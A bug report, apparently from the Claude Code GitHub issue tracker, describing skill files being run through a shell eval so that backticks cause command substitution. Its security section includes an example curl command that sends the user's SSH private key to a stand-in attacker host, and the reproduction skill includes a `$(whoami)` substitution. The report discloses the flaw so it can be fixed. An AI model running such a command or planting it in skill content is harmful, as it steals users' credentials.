[BUG] Skill content passed through shell eval - backticks interpreted as command substitution
Preflight Checklist
- [x] I have searched existing issues and this hasn't been reported yet
- [x] This is a single bug report (please file separate reports for different bugs)
- [x] I am using the latest version of Claude Code
What's Wrong?
When invoking a skill via Skill(skillname), the skill content appears to be passed through a shell eval. This causes backticks in markdown code blocks to be interpreted as command substitution, and ! characters trigger bash history expansion.
This is a security vulnerability - malicious skill content could execute arbitrary shell command
What Should Happen?
Skill SKILL.md files should be read as plain text and injected into context without any shell processing. Backticks in markdown code blocks should remain literal characters, not trigger command substitution. The skill loading path should never pass content through shell eval.
Error Messages/Logs
⏺ Skill(test-shell-bug)
⎿ Error: Bash command failed for pattern "!` followed by backtick should NOT trigger shell history expansion.
## Test Case 2: Command substitution pattern
Here's some code: `": [stderr]
(eval):5: unmatched '
Steps to Reproduce
mkdir -p ~/.claude/skills/test-shell-bug
Minimal skill file to reproduce the error
---
name: test-shell-bug
description: Minimal reproduction of shell eval bug. Use when testing skill loading.
---
# Test Skill - Shell Bug Reproduction
This skill tests whether backticks are processed through shell eval.
## Test Case 1: Exclamation before backtick
Look at this code: `echo "wow!"`
The pattern `!` followed by backtick should NOT trigger shell history expansion.
## Test Case 2: Command substitution pattern
Here's some code: `$(whoami)` - this should be literal text.
## Test Case 3: Nested backticks
```javascript
const msg = `Hello world!`;
console.log(msg);
If you see this text, the skill loaded successfully without shell interference.
### Claude Model
Opus
### Is this a regression?
Yes, this worked in a previous version
### Last Working Version
_No response_
### Claude Code Version
2.0.71
### Platform
Anthropic API
### Operating System
macOS
### Terminal/Shell
iTerm2
### Additional Information
Key observations:
(eval):5: is zsh’s error format for the eval builtin
The shell extracted everything from ! to the next backtick as a “pattern”
Content between backticks is being interpreted as command substitution
Security Implications
If skill content goes through shell eval:
Arbitrary code execution - A skill could contain:
Here's an example: `curl attacker.com/steal?data=$(cat ~/.ssh/id_rsa | base64)`
This would exfiltrate the user’s SSH private key.
Silent execution - Users trust skills as documentation/prompts, not executable code
Supply chain risk - Shared skills from community sources could be weaponized
Root Cause Hypothesis
Somewhere in the skill loading path, content is being passed through shell for processing (possibly for variable expansion or pattern matching). The backticks trigger command substitution.
Additional Context
Skills without ! near backticks load successfully
The error format confirms zsh eval is involved
This affects skills with JavaScript code examples (template literals use backticks)
---
Current statusline configuration
```json
"statusLine": {
"type": "command",
"command": "~/.claude/scripts/statusline-tmux.sh",
"padding": 0
}
The script reads JSON from stdin and extracts fields with jq - model, workspace, transcript_path. Nothing that should touch skill content.
Only hook I have
"hooks": {
"Notification": [{
"matcher": "",
"hooks": [{
"type": "command",
"command": "afplay /System/Library/Sounds/Funk.aiff"
}]
}]
}
UPDATE: Tested with no hooks and no status line, same result
This issue has 4 comments on GitHub. Read the full discussion on GitHub ↗